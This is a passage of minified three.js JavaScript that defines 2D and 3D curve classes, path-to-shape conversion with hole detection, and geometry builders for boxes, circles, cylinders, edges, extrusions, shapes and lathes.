n.Vector2(h,d))}break;case"bezierCurveTo":t=A[4],i=A[5],a=A[0],s=A[1],r=A[2],o=A[3],m.length>0?(l=m[m.length-1],c=l.x,u=l.y):(l=this.actions[g-1].args,c=l[l.length-2],u=l[l.length-1]);for(var x=1;e>=x;x++){var w=x/e;h=f(w,c,a,r,t),d=f(w,u,s,o,i),m.push(new n.Vector2(h,d))}break;case"splineThru":l=this.actions[g-1].args;var E=new n.Vector2(l[l.length-2],l[l.length-1]),b=[E],T=e*A[0].length;b=b.concat(A[0]);for(var L=new n.SplineCurve(b),x=1;T>=x;x++)m.push(L.getPointAt(x/T));break;case"arc":for(var D,N=A[0],S=A[1],C=A[2],I=A[3],j=A[4],_=!!A[5],O=j-I,z=2*e,x=1;z>=x;x++){var w=x/z;_||(w=1-w),D=I+w*O,h=N+C*Math.cos(D),d=S+C*Math.sin(D),m.push(new n.Vector2(h,d))}break;case"ellipse":var D,k,R,N=A[0],S=A[1],B=A[2],U=A[3],I=A[4],j=A[5],_=!!A[6],P=A[7],O=j-I,z=2*e;0!==P&&(k=Math.cos(P),R=Math.sin(P));for(var x=1;z>=x;x++){var w=x/z;if(_||(w=1-w),D=I+w*O,h=N+B*Math.cos(D),d=S+U*Math.sin(D),0!==P){var F=h,G=d;h=(F-N)*k-(G-S)*R+N,d=(F-N)*R+(G-S)*k+S}m.push(new n.Vector2(h,d))}}}var V=m[m.length-1];return Math.abs(V.x-m[0].x)<Number.EPSILON&&Math.abs(V.y-m[0].y)<Number.EPSILON&&m.splice(m.length-1,1),this.autoClose&&m.push(m[0]),m},n.Path.prototype.toShapes=function(e,t){function i(e){for(var t=[],i=new n.Path,r=0,o=e.length;o>r;r++){var a=e[r],s=a.args,c=a.action;"moveTo"===c&&0!==i.actions.length&&(t.push(i),i=new n.Path),i[c].apply(i,s)}return 0!==i.actions.length&&t.push(i),t}function r(e){for(var t=[],i=0,r=e.length;r>i;i++){var o=e[i],a=new n.Shape;a.actions=o.actions,a.curves=o.curves,t.push(a)}return t}function o(e,t){for(var i=t.length,r=!1,n=i-1,o=0;i>o;n=o++){var a=t[n],s=t[o],c=s.x-a.x,u=s.y-a.y;if(Math.abs(u)>Number.EPSILON){if(0>u&&(a=t[o],c=-c,s=t[n],u=-u),e.y<a.y||e.y>s.y)continue;if(e.y===a.y){if(e.x===a.x)return!0}else{var l=u*(e.x-a.x)-c*(e.y-a.y);if(0===l)return!0;if(0>l)continue;r=!r}}else{if(e.y!==a.y)continue;if(s.x<=e.x&&e.x<=a.x||a.x<=e.x&&e.x<=s.x)return!0}}return r}var a=n.ShapeUtils.isClockWise,s=i(this.actions);if(0===s.length)return[];if(t===!0)return r(s);var c,u,l,h=[];if(1===s.length)return u=s[0],l=new n.Shape,l.actions=u.actions,l.curves=u.curves,h.push(l),h;var d=!a(s[0].getPoints());d=e?!d:d;var p,f=[],m=[],g=[],v=0;m[v]=void 0,g[v]=[];for(var y=0,M=s.length;M>y;y++)u=s[y],p=u.getPoints(),c=a(p),c=e?!c:c,c?(!d&&m[v]&&v++,m[v]={s:new n.Shape,p:p},m[v].s.actions=u.actions,m[v].s.curves=u.curves,d&&v++,g[v]=[]):g[v].push({h:u,p:p[0]});if(!m[0])return r(s);if(m.length>1){for(var A=!1,x=[],w=0,E=m.length;E>w;w++)f[w]=[];for(var w=0,E=m.length;E>w;w++)for(var b=g[w],T=0;T<b.length;T++){for(var L=b[T],D=!0,N=0;N<m.length;N++)o(L.p,m[N].p)&&(w!==N&&x.push({froms:w,tos:N,hole:T}),D?(D=!1,f[N].push(L)):A=!0);D&&f[w].push(L)}x.length>0&&(A||(g=f))}for(var S,y=0,C=m.length;C>y;y++){l=m[y].s,h.push(l),S=g[y];for(var I=0,j=S.length;j>I;I++)l.holes.push(S[I].h)}return h},n.Shape=function(){n.Path.apply(this,arguments),this.holes=[]},n.Shape.prototype=Object.create(n.Path.prototype),n.Shape.prototype.constructor=n.Shape,n.Shape.prototype.extrude=function(e){return new n.ExtrudeGeometry(this,e)},n.Shape.prototype.makeGeometry=function(e){return new n.ShapeGeometry(this,e)},n.Shape.prototype.getPointsHoles=function(e){for(var t=[],i=0,r=this.holes.length;r>i;i++)t[i]=this.holes[i].getPoints(e);return t},n.Shape.prototype.extractAllPoints=function(e){return{shape:this.getPoints(e),holes:this.getPointsHoles(e)}},n.Shape.prototype.extractPoints=function(e){return this.extractAllPoints(e)},n.LineCurve=function(e,t){this.v1=e,this.v2=t},n.LineCurve.prototype=Object.create(n.Curve.prototype),n.LineCurve.prototype.constructor=n.LineCurve,n.LineCurve.prototype.getPoint=function(e){var t=this.v2.clone().sub(this.v1);return t.multiplyScalar(e).add(this.v1),t},n.LineCurve.prototype.getPointAt=function(e){return this.getPoint(e)},n.LineCurve.prototype.getTangent=function(){var e=this.v2.clone().sub(this.v1);return e.normalize()},n.QuadraticBezierCurve=function(e,t,i){this.v0=e,this.v1=t,this.v2=i},n.QuadraticBezierCurve.prototype=Object.create(n.Curve.prototype),n.QuadraticBezierCurve.prototype.constructor=n.QuadraticBezierCurve,n.QuadraticBezierCurve.prototype.getPoint=function(e){var t=n.ShapeUtils.b2;return new n.Vector2(t(e,this.v0.x,this.v1.x,this.v2.x),t(e,this.v0.y,this.v1.y,this.v2.y))},n.QuadraticBezierCurve.prototype.getTangent=function(e){var t=n.CurveUtils.tangentQuadraticBezier;return new n.Vector2(t(e,this.v0.x,this.v1.x,this.v2.x),t(e,this.v0.y,this.v1.y,this.v2.y)).normalize()},n.CubicBezierCurve=function(e,t,i,r){this.v0=e,this.v1=t,this.v2=i,this.v3=r},n.CubicBezierCurve.prototype=Object.create(n.Curve.prototype),n.CubicBezierCurve.prototype.constructor=n.CubicBezierCurve,n.CubicBezierCurve.prototype.getPoint=function(e){var t=n.ShapeUtils.b3;return new n.Vector2(t(e,this.v0.x,this.v1.x,this.v2.x,this.v3.x),t(e,this.v0.y,this.v1.y,this.v2.y,this.v3.y))},n.CubicBezierCurve.prototype.getTangent=function(e){var t=n.CurveUtils.tangentCubicBezier;return new n.Vector2(t(e,this.v0.x,this.v1.x,this.v2.x,this.v3.x),t(e,this.v0.y,this.v1.y,this.v2.y,this.v3.y)).normalize()},n.SplineCurve=function(e){this.points=void 0==e?[]:e},n.SplineCurve.prototype=Object.create(n.Curve.prototype),n.SplineCurve.prototype.constructor=n.SplineCurve,n.SplineCurve.prototype.getPoint=function(e){var t=this.points,i=(t.length-1)*e,r=Math.floor(i),o=i-r,a=t[0===r?r:r-1],s=t[r],c=t[r>t.length-2?t.length-1:r+1],u=t[r>t.length-3?t.length-1:r+2],l=n.CurveUtils.interpolate;return new n.Vector2(l(a.x,s.x,c.x,u.x,o),l(a.y,s.y,c.y,u.y,o))},n.EllipseCurve=function(e,t,i,r,n,o,a,s){this.aX=e,this.aY=t,this.xRadius=i,this.yRadius=r,this.aStartAngle=n,this.aEndAngle=o,this.aClockwise=a,this.aRotation=s||0},n.EllipseCurve.prototype=Object.create(n.Curve.prototype),n.EllipseCurve.prototype.constructor=n.EllipseCurve,n.EllipseCurve.prototype.getPoint=function(e){var t=this.aEndAngle-this.aStartAngle;0>t&&(t+=2*Math.PI),t>2*Math.PI&&(t-=2*Math.PI);var i;i=this.aClockwise===!0?this.aEndAngle+(1-e)*(2*Math.PI-t):this.aStartAngle+e*t;var r=this.aX+this.xRadius*Math.cos(i),o=this.aY+this.yRadius*Math.sin(i);if(0!==this.aRotation){var a=Math.cos(this.aRotation),s=Math.sin(this.aRotation),c=r,u=o;r=(c-this.aX)*a-(u-this.aY)*s+this.aX,o=(c-this.aX)*s+(u-this.aY)*a+this.aY}return new n.Vector2(r,o)},n.ArcCurve=function(e,t,i,r,o,a){n.EllipseCurve.call(this,e,t,i,i,r,o,a)},n.ArcCurve.prototype=Object.create(n.EllipseCurve.prototype),n.ArcCurve.prototype.constructor=n.ArcCurve,n.LineCurve3=n.Curve.create(function(e,t){this.v1=e,this.v2=t},function(e){var t=new n.Vector3;return t.subVectors(this.v2,this.v1),t.multiplyScalar(e),t.add(this.v1),t}),n.QuadraticBezierCurve3=n.Curve.create(function(e,t,i){this.v0=e,this.v1=t,this.v2=i},function(e){var t=n.ShapeUtils.b2;return new n.Vector3(t(e,this.v0.x,this.v1.x,this.v2.x),t(e,this.v0.y,this.v1.y,this.v2.y),t(e,this.v0.z,this.v1.z,this.v2.z))}),n.CubicBezierCurve3=n.Curve.create(function(e,t,i,r){this.v0=e,this.v1=t,this.v2=i,this.v3=r},function(e){var t=n.ShapeUtils.b3;return new n.Vector3(t(e,this.v0.x,this.v1.x,this.v2.x,this.v3.x),t(e,this.v0.y,this.v1.y,this.v2.y,this.v3.y),t(e,this.v0.z,this.v1.z,this.v2.z,this.v3.z))}),n.SplineCurve3=n.Curve.create(function(e){console.warn("THREE.SplineCurve3 will be deprecated. Please use THREE.CatmullRomCurve3"),this.points=void 0==e?[]:e},function(e){var t=this.points,i=(t.length-1)*e,r=Math.floor(i),o=i-r,a=t[0==r?r:r-1],s=t[r],c=t[r>t.length-2?t.length-1:r+1],u=t[r>t.length-3?t.length-1:r+2],l=n.CurveUtils.interpolate;return new n.Vector3(l(a.x,s.x,c.x,u.x,o),l(a.y,s.y,c.y,u.y,o),l(a.z,s.z,c.z,u.z,o))}),n.CatmullRomCurve3=function(){function e(){}var t=new n.Vector3,i=new e,r=new e,o=new e;return e.prototype.init=function(e,t,i,r){this.c0=e,this.c1=i,this.c2=-3*e+3*t-2*i-r,this.c3=2*e-2*t+i+r},e.prototype.initNonuniformCatmullRom=function(e,t,i,r,n,o,a){var s=(t-e)/n-(i-e)/(n+o)+(i-t)/o,c=(i-t)/o-(r-t)/(o+a)+(r-i)/a;s*=o,c*=o,this.init(t,i,s,c)},e.prototype.initCatmullRom=function(e,t,i,r,n){this.init(t,i,n*(i-e),n*(r-t))},e.prototype.calc=function(e){var t=e*e,i=t*e;return this.c0+this.c1*e+this.c2*t+this.c3*i},n.Curve.create(function(e){this.points=e||[],this.closed=!1},function(e){var a,s,c,u,l=this.points;u=l.length,2>u&&console.log("duh, you need at least 2 points"),a=(u-(this.closed?0:1))*e,s=Math.floor(a),c=a-s,this.closed?s+=s>0?0:(Math.floor(Math.abs(s)/l.length)+1)*l.length:0===c&&s===u-1&&(s=u-2,c=1);var h,d,p,f;if(this.closed||s>0?h=l[(s-1)%u]:(t.subVectors(l[0],l[1]).add(l[0]),h=t),d=l[s%u],p=l[(s+1)%u],this.closed||u>s+2?f=l[(s+2)%u]:(t.subVectors(l[u-1],l[u-2]).add(l[u-1]),f=t),void 0===this.type||"centripetal"===this.type||"chordal"===this.type){var m="chordal"===this.type?.5:.25,g=Math.pow(h.distanceToSquared(d),m),v=Math.pow(d.distanceToSquared(p),m),y=Math.pow(p.distanceToSquared(f),m);1e-4>v&&(v=1),1e-4>g&&(g=v),1e-4>y&&(y=v),i.initNonuniformCatmullRom(h.x,d.x,p.x,f.x,g,v,y),r.initNonuniformCatmullRom(h.y,d.y,p.y,f.y,g,v,y),o.initNonuniformCatmullRom(h.z,d.z,p.z,f.z,g,v,y)}else if("catmullrom"===this.type){var M=void 0!==this.tension?this.tension:.5;i.initCatmullRom(h.x,d.x,p.x,f.x,M),r.initCatmullRom(h.y,d.y,p.y,f.y,M),o.initCatmullRom(h.z,d.z,p.z,f.z,M)}var A=new n.Vector3(i.calc(c),r.calc(c),o.calc(c));return A})}(),n.ClosedSplineCurve3=function(e){console.warn("THREE.ClosedSplineCurve3 has been deprecated. Please use THREE.CatmullRomCurve3."),n.CatmullRomCurve3.call(this,e),this.type="catmullrom",this.closed=!0},n.ClosedSplineCurve3.prototype=Object.create(n.CatmullRomCurve3.prototype),n.BoxGeometry=function(e,t,i,r,o,a){n.Geometry.call(this),this.type="BoxGeometry",this.parameters={width:e,height:t,depth:i,widthSegments:r,heightSegments:o,depthSegments:a},this.fromBufferGeometry(new n.BoxBufferGeometry(e,t,i,r,o,a)),this.mergeVertices()},n.BoxGeometry.prototype=Object.create(n.Geometry.prototype),n.BoxGeometry.prototype.constructor=n.BoxGeometry,n.CubeGeometry=n.BoxGeometry,n.BoxBufferGeometry=function(e,t,i,r,o,a){function s(e,t,i){var r=0;return r+=e*t*2,r+=e*i*2,r+=i*t*2,4*r}function c(e,t,i,r,o,a,s,c,l,h,x){for(var w=a/l,E=s/h,b=a/2,T=s/2,L=c/2,D=l+1,N=h+1,S=0,C=0,I=new n.Vector3,j=0;N>j;j++)for(var _=j*E-T,O=0;D>O;O++){var z=O*w-b;I[e]=z*r,I[t]=_*o,I[i]=L,p[g]=I.x,p[g+1]=I.y,p[g+2]=I.z,I[e]=0,I[t]=0,I[i]=c>0?1:-1,f[g]=I.x,f[g+1]=I.y,f[g+2]=I.z,m[v]=O/l,m[v+1]=1-j/h,g+=3,v+=2,S+=1}for(j=0;h>j;j++)for(O=0;l>O;O++){var k=M+O+D*j,R=M+O+D*(j+1),B=M+(O+1)+D*(j+1),U=M+(O+1)+D*j;d[y]=k,d[y+1]=R,d[y+2]=U,d[y+3]=R,d[y+4]=B,d[y+5]=U,y+=6,C+=6}u.addGroup(A,C,x),A+=C,M+=S}n.BufferGeometry.call(this),this.type="BoxBufferGeometry",this.parameters={width:e,height:t,depth:i,widthSegments:r,heightSegments:o,depthSegments:a};var u=this;r=Math.floor(r)||1,o=Math.floor(o)||1,a=Math.floor(a)||1;var l=s(r,o,a),h=l/4*6,d=new(h>65535?Uint32Array:Uint16Array)(h),p=new Float32Array(3*l),f=new Float32Array(3*l),m=new Float32Array(2*l),g=0,v=0,y=0,M=0,A=0;c("z","y","x",-1,-1,i,t,e,a,o,0),c("z","y","x",1,-1,i,t,-e,a,o,1),c("x","z","y",1,1,e,i,t,r,a,2),c("x","z","y",1,-1,e,i,-t,r,a,3),c("x","y","z",1,-1,e,t,i,r,o,4),c("x","y","z",-1,-1,e,t,-i,r,o,5),this.setIndex(new n.BufferAttribute(d,1)),this.addAttribute("position",new n.BufferAttribute(p,3)),this.addAttribute("normal",new n.BufferAttribute(f,3)),this.addAttribute("uv",new n.BufferAttribute(m,2))},n.BoxBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.BoxBufferGeometry.prototype.constructor=n.BoxBufferGeometry,n.CircleGeometry=function(e,t,i,r){n.Geometry.call(this),this.type="CircleGeometry",this.parameters={radius:e,segments:t,thetaStart:i,thetaLength:r},this.fromBufferGeometry(new n.CircleBufferGeometry(e,t,i,r))},n.CircleGeometry.prototype=Object.create(n.Geometry.prototype),n.CircleGeometry.prototype.constructor=n.CircleGeometry,n.CircleBufferGeometry=function(e,t,i,r){n.BufferGeometry.call(this),this.type="CircleBufferGeometry",this.parameters={radius:e,segments:t,thetaStart:i,thetaLength:r},e=e||50,t=void 0!==t?Math.max(3,t):8,i=void 0!==i?i:0,r=void 0!==r?r:2*Math.PI;var o=t+2,a=new Float32Array(3*o),s=new Float32Array(3*o),c=new Float32Array(2*o);s[2]=1,c[0]=.5,c[1]=.5;for(var u=0,l=3,h=2;t>=u;u++,l+=3,h+=2){var d=i+u/t*r;a[l]=e*Math.cos(d),a[l+1]=e*Math.sin(d),s[l+2]=1,c[h]=(a[l]/e+1)/2,c[h+1]=(a[l+1]/e+1)/2}for(var p=[],l=1;t>=l;l++)p.push(l,l+1,0);this.setIndex(new n.BufferAttribute(new Uint16Array(p),1)),this.addAttribute("position",new n.BufferAttribute(a,3)),this.addAttribute("normal",new n.BufferAttribute(s,3)),this.addAttribute("uv",new n.BufferAttribute(c,2)),this.boundingSphere=new n.Sphere(new n.Vector3,e)},n.CircleBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.CircleBufferGeometry.prototype.constructor=n.CircleBufferGeometry,n.CylinderBufferGeometry=function(e,t,i,r,o,a,s,c){function u(){var e=(r+1)*(o+1);return a===!1&&(e+=2*(r+1)+2*r),e}function l(){var e=r*o*2*3;return a===!1&&(e+=2*r*3),e}function h(){var a,u,l=new n.Vector3,h=new n.Vector3,d=0,f=(t-e)/i;for(u=0;o>=u;u++){var m=[],T=u/o,L=T*(t-e)+e;for(a=0;r>=a;a++){var D=a/r;h.x=L*Math.sin(D*c+s),h.y=-T*i+E,h.z=L*Math.cos(D*c+s),v.setXYZ(A,h.x,h.y,h.z),l.copy(h),(0===e&&0===u||0===t&&u===o)&&(l.x=Math.sin(D*c+s),l.z=Math.cos(D*c+s)),l.setY(Math.sqrt(l.x*l.x+l.z*l.z)*f).normalize(),y.setXYZ(A,l.x,l.y,l.z),M.setXY(A,D,1-T),m.push(A),A++}w.push(m)}for(a=0;r>a;a++)for(u=0;o>u;u++){var N=w[u][a],S=w[u+1][a],C=w[u+1][a+1],I=w[u][a+1];g.setX(x,N),x++,g.setX(x,S),x++,g.setX(x,I),x++,g.setX(x,S),x++,g.setX(x,C),x++,g.setX(x,I),x++,d+=6}p.addGroup(b,d,0),b+=d}function d(i){var o,a,u,l=new n.Vector2,h=new n.Vector3,d=0,f=i===!0?e:t,m=i===!0?1:-1;for(a=A,o=1;r>=o;o++)v.setXYZ(A,0,E*m,0),y.setXYZ(A,0,m,0),i===!0?(l.x=o/r,l.y=0):(l.x=(o-1)/r,l.y=1),M.setXY(A,l.x,l.y),A++;for(u=A,o=0;r>=o;o++){var w=o/r;h.x=f*Math.sin(w*c+s),h.y=E*m,h.z=f*Math.cos(w*c+s),v.setXYZ(A,h.x,h.y,h.z),y.setXYZ(A,0,m,0),M.setXY(A,w,i===!0?1:0),A++}for(o=0;r>o;o++){var T=a+o,L=u+o;i===!0?(g.setX(x,L),x++,g.setX(x,L+1),x++,g.setX(x,T),x++):(g.setX(x,L+1),x++,g.setX(x,L),x++,g.setX(x,T),x++),d+=3}p.addGroup(b,d,i===!0?1:2),b+=d}n.BufferGeometry.call(this),this.type="CylinderBufferGeometry",this.parameters={radiusTop:e,radiusBottom:t,height:i,radialSegments:r,heightSegments:o,openEnded:a,thetaStart:s,thetaLength:c};var p=this;e=void 0!==e?e:20,t=void 0!==t?t:20,i=void 0!==i?i:100,r=Math.floor(r)||8,o=Math.floor(o)||1,a=void 0!==a?a:!1,s=void 0!==s?s:0,c=void 0!==c?c:2*Math.PI;var f=u(),m=l(),g=new n.BufferAttribute(new(m>65535?Uint32Array:Uint16Array)(m),1),v=new n.BufferAttribute(new Float32Array(3*f),3),y=new n.BufferAttribute(new Float32Array(3*f),3),M=new n.BufferAttribute(new Float32Array(2*f),2),A=0,x=0,w=[],E=i/2,b=0;h(),a===!1&&(e>0&&d(!0),t>0&&d(!1)),this.setIndex(g),this.addAttribute("position",v),this.addAttribute("normal",y),this.addAttribute("uv",M)},n.CylinderBufferGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.CylinderBufferGeometry.prototype.constructor=n.CylinderBufferGeometry,n.CylinderGeometry=function(e,t,i,r,o,a,s,c){n.Geometry.call(this),this.type="CylinderGeometry",this.parameters={radiusTop:e,radiusBottom:t,height:i,radialSegments:r,heightSegments:o,openEnded:a,thetaStart:s,thetaLength:c},this.fromBufferGeometry(new n.CylinderBufferGeometry(e,t,i,r,o,a,s,c)),this.mergeVertices()},n.CylinderGeometry.prototype=Object.create(n.Geometry.prototype),n.CylinderGeometry.prototype.constructor=n.CylinderGeometry,n.EdgesGeometry=function(e,t){function i(e,t){return e-t}n.BufferGeometry.call(this),t=void 0!==t?t:1;var r,o=Math.cos(n.Math.DEG2RAD*t),a=[0,0],s={},c=["a","b","c"];e instanceof n.BufferGeometry?(r=new n.Geometry,r.fromBufferGeometry(e)):r=e.clone(),r.mergeVertices(),r.computeFaceNormals();for(var u=r.vertices,l=r.faces,h=0,d=l.length;d>h;h++)for(var p=l[h],f=0;3>f;f++){a[0]=p[c[f]],a[1]=p[c[(f+1)%3]],a.sort(i);var m=a.toString();void 0===s[m]?s[m]={vert1:a[0],vert2:a[1],face1:h,face2:void 0}:s[m].face2=h}var g=[];for(var m in s){var v=s[m];if(void 0===v.face2||l[v.face1].normal.dot(l[v.face2].normal)<=o){var y=u[v.vert1];g.push(y.x),g.push(y.y),g.push(y.z),y=u[v.vert2],g.push(y.x),g.push(y.y),g.push(y.z)}}this.addAttribute("position",new n.BufferAttribute(new Float32Array(g),3))},n.EdgesGeometry.prototype=Object.create(n.BufferGeometry.prototype),n.EdgesGeometry.prototype.constructor=n.EdgesGeometry,n.ExtrudeGeometry=function(e,t){return"undefined"==typeof e?void(e=[]):(n.Geometry.call(this),this.type="ExtrudeGeometry",e=Array.isArray(e)?e:[e],this.addShapeList(e,t),void this.computeFaceNormals())},n.ExtrudeGeometry.prototype=Object.create(n.Geometry.prototype),n.ExtrudeGeometry.prototype.constructor=n.ExtrudeGeometry,n.ExtrudeGeometry.prototype.addShapeList=function(e,t){for(var i=e.length,r=0;i>r;r++){var n=e[r];this.addShape(n,t)}},n.ExtrudeGeometry.prototype.addShape=function(e,t){function i(e,t,i){return t||console.error("THREE.ExtrudeGeometry: vec does not exist"),t.clone().multiplyScalar(i).add(e)}function r(e,t,i){var r,o,a=1,s=e.x-t.x,c=e.y-t.y,u=i.x-e.x,l=i.y-e.y,h=s*s+c*c,d=s*l-c*u;if(Math.abs(d)>Number.EPSILON){var p=Math.sqrt(h),f=Math.sqrt(u*u+l*l),m=t.x-c/p,g=t.y+s/p,v=i.x-l/f,y=i.y+u/f,M=((v-m)*l-(y-g)*u)/(s*l-c*u);r=m+s*M-e.x,o=g+c*M-e.y;var A=r*r+o*o;if(2>=A)return new n.Vector2(r,o);a=Math.sqrt(A/2)}else{var x=!1;s>Number.EPSILON?u>Number.EPSILON&&(x=!0):s<-Number.EPSILON?u<-Number.EPSILON&&(x=!0):Math.sign(c)===Math.sign(l)&&(x=!0),x?(r=-c,o=s,a=Math.sqrt(h)):(r=s,o=c,a=Math.sqrt(h/2))}return new n.Vector2(r/a,o/a)}function o(){if(A){var e=0,t=V*e;for(H=0;Q>H;H++)G=z[H],u(G[2]+t,G[1]+t,G[0]+t);for(e=w+2*M,t=V*e,H=0;Q>H;H++)G=z[H],u(G[0]+t,G[1]+t,G[2]+t)}else{for(H=0;Q>H;H++)G=z[H],u(G[2],G[1],G[0]);for(H=0;Q>H;H++)G=z[H],u(G[0]+V*w,G[1]+V*w,G[2]+V*w)}}function a(){var e=0;for(s(k,e),e+=k.length,D=0,N=_.length;N>D;D++)L=_[D],s(L,e),e+=L.length}function s(e,t){var i,r;for(H=e.length;--H>=0;){i=H,r=H-1,0>r&&(r=e.length-1);var n=0,o=w+2*M;for(n=0;o>n;n++){var a=V*n,s=V*(n+1),c=t+i+a,u=t+r+a,h=t+r+s,d=t+i+s;l(c,u,h,d,e,n,o,i,r)}}}function c(e,t,i){S.vertices.push(new n.Vector3(e,t,i))}function u(e,t,i){e+=C,t+=C,i+=C,S.faces.push(new n.Face3(e,t,i,null,null,0));var r=T.generateTopUV(S,e,t,i);S.faceVertexUvs[0].push(r)}function l(e,t,i,r){e+=C,t+=C,i+=C,r+=C,S.faces.push(new n.Face3(e,t,r,null,null,1)),S.faces.push(new n.Face3(t,i,r,null,null,1));var o=T.generateSideWallUV(S,e,t,i,r);S.faceVertexUvs[0].push([o[0],o[1],o[3]]),S.faceVertexUvs[0].push([o[1],o[2],o[3]])}var h,d,p,f,m,g=void 0!==t.amount?t.amount:100,v=void 0!==t.bevelThickness?t.bevelThickness:6,y=void 0!==t.bevelSize?t.bevelSize:v-2,M=void 0!==t.bevelSegments?t.bevelSegments:3,A=void 0!==t.bevelEnabled?t.bevelEnabled:!0,x=void 0!==t.curveSegments?t.curveSegments:12,w=void 0!==t.steps?t.steps:1,E=t.extrudePath,b=!1,T=void 0!==t.UVGenerator?t.UVGenerator:n.ExtrudeGeometry.WorldUVGenerator;E&&(h=E.getSpacedPoints(w),b=!0,A=!1,d=void 0!==t.frames?t.frames:new n.TubeGeometry.FrenetFrames(E,w,!1),p=new n.Vector3,f=new n.Vector3,m=new n.Vector3),A||(M=0,v=0,y=0);var L,D,N,S=this,C=this.vertices.length,I=e.extractPoints(x),j=I.shape,_=I.holes,O=!n.ShapeUtils.isClockWise(j);if(O){for(j=j.reverse(),D=0,N=_.length;N>D;D++)L=_[D],n.ShapeUtils.isClockWise(L)&&(_[D]=L.reverse());O=!1}var z=n.ShapeUtils.triangulateShape(j,_),k=j;for(D=0,N=_.length;N>D;D++)L=_[D],j=j.concat(L);for(var R,B,U,P,F,G,V=j.length,Q=z.length,Y=[],H=0,W=k.length,X=W-1,q=H+1;W>H;H++,X++,q++)X===W&&(X=0),q===W&&(q=0),Y[H]=r(k[H],k[X],k[q]);var Z,K=[],J=Y.concat();for(D=0,N=_.length;N>D;D++){for(L=_[D],Z=[],H=0,W=L.length,X=W-1,q=H+1;W>H;H++,X++,q++)X===W&&(X=0),q===W&&(q=0),Z[H]=r(L[H],L[X],L[q]);K.push(Z),J=J.concat(Z)}for(R=0;M>R;R++){for(U=R/M,P=v*(1-U),B=y*Math.sin(U*Math.PI/2),H=0,W=k.length;W>H;H++)F=i(k[H],Y[H],B),c(F.x,F.y,-P);for(D=0,N=_.length;N>D;D++)for(L=_[D],Z=K[D],H=0,W=L.length;W>H;H++)F=i(L[H],Z[H],B),c(F.x,F.y,-P)}for(B=y,H=0;V>H;H++)F=A?i(j[H],J[H],B):j[H],b?(f.copy(d.normals[0]).multiplyScalar(F.x),p.copy(d.binormals[0]).multiplyScalar(F.y),m.copy(h[0]).add(f).add(p),c(m.x,m.y,m.z)):c(F.x,F.y,0);var $;for($=1;w>=$;$++)for(H=0;V>H;H++)F=A?i(j[H],J[H],B):j[H],b?(f.copy(d.normals[$]).multiplyScalar(F.x),p.copy(d.binormals[$]).multiplyScalar(F.y),m.copy(h[$]).add(f).add(p),c(m.x,m.y,m.z)):c(F.x,F.y,g/w*$);for(R=M-1;R>=0;R--){for(U=R/M,P=v*(1-U),B=y*Math.sin(U*Math.PI/2),H=0,W=k.length;W>H;H++)F=i(k[H],Y[H],B),c(F.x,F.y,g+P);for(D=0,N=_.length;N>D;D++)for(L=_[D],Z=K[D],H=0,W=L.length;W>H;H++)F=i(L[H],Z[H],B),b?c(F.x,F.y+h[w-1].y,h[w-1].x+P):c(F.x,F.y,g+P)}o(),a()},n.ExtrudeGeometry.WorldUVGenerator={generateTopUV:function(e,t,i,r){var o=e.vertices,a=o[t],s=o[i],c=o[r];return[new n.Vector2(a.x,a.y),new n.Vector2(s.x,s.y),new n.Vector2(c.x,c.y)]},generateSideWallUV:function(e,t,i,r,o){var a=e.vertices,s=a[t],c=a[i],u=a[r],l=a[o];return Math.abs(s.y-c.y)<.01?[new n.Vector2(s.x,1-s.z),new n.Vector2(c.x,1-c.z),new n.Vector2(u.x,1-u.z),new n.Vector2(l.x,1-l.z)]:[new n.Vector2(s.y,1-s.z),new n.Vector2(c.y,1-c.z),new n.Vector2(u.y,1-u.z),new n.Vector2(l.y,1-l.z)]}},n.ShapeGeometry=function(e,t){n.Geometry.call(this),this.type="ShapeGeometry",Array.isArray(e)===!1&&(e=[e]),this.addShapeList(e,t),this.computeFaceNormals()},n.ShapeGeometry.prototype=Object.create(n.Geometry.prototype),n.ShapeGeometry.prototype.constructor=n.ShapeGeometry,n.ShapeGeometry.prototype.addShapeList=function(e,t){for(var i=0,r=e.length;r>i;i++)this.addShape(e[i],t);return this},n.ShapeGeometry.prototype.addShape=function(e,t){void 0===t&&(t={});var i,r,o,a=void 0!==t.curveSegments?t.curveSegments:12,s=t.material,c=void 0===t.UVGenerator?n.ExtrudeGeometry.WorldUVGenerator:t.UVGenerator,u=this.vertices.length,l=e.extractPoints(a),h=l.shape,d=l.holes,p=!n.ShapeUtils.isClockWise(h);if(p){for(h=h.reverse(),i=0,r=d.length;r>i;i++)o=d[i],n.ShapeUtils.isClockWise(o)&&(d[i]=o.reverse());p=!1}var f=n.ShapeUtils.triangulateShape(h,d);for(i=0,r=d.length;r>i;i++)o=d[i],h=h.concat(o);var m,g,v=h.length,y=f.length;for(i=0;v>i;i++)m=h[i],this.vertices.push(new n.Vector3(m.x,m.y,0));for(i=0;y>i;i++){g=f[i];var M=g[0]+u,A=g[1]+u,x=g[2]+u;this.faces.push(new n.Face3(M,A,x,null,null,s)),this.faceVertexUvs[0].push(c.generateTopUV(this,M,A,x))}},n.LatheBufferGeometry=function(e,t,i,r){n.BufferGeometry.call(this),this.type="LatheBufferGeometry",this.parameters={points:e,segments:t,phiStart:i,phiLength:r},t=Math.floor(t)||12,i=i||0,r=r||2*Math.PI,r=n.Math.clamp(r,0,2*Math.PI);var o,a,s,c=(t+1)*e.length,u=t*e.length*2*3,l=new n.BufferAttribute(new(u>65535?Uint32Array:Uint16Array)(u),1),h=new n.BufferAttribute(new Float32Array(3*c),3),d=new n.BufferAttribute(new Float32Array(2*c),2),p=0,f=0,m=(1/(e.length-1),1/t),g=new n.Vector3,v=new n.Vector2;for(a=0;t>=a;a++){var y=i+a*m*r,M=Math.sin(y),A=Math.cos(y);for(s=0;s<=e.length-1;s++)g.x=e[s].x*M,g.y=e[s].y,g.z=e[s].x*A,h.setXYZ(p,g.x,g.y,g.z),v.x=a/t,v.y=s/(e.length-1),d.setXY(p,v.x,v.y),p++}for(a=0;t>a;a++)for(s=0;s<e.length-1;s++){o=s+a*e.length;var x=o,w=o+e.length,E=o+e.length+1,b=o+1;l.setX(f,x),f++,l.setX(f,w),f++,l.setX(f,b),f++,l.setX(f,w),f++,l.setX(f,E),f++,l.setX(f,b),f++}if(this.setIndex(l),this.addAttribute("position",h),this.addAttribute("uv",d),this.computeVertexNormals(),r===2*Math.PI){var T=this.attributes.normal.array,L=new n.Vector3,D=new n.Vector3,N=new 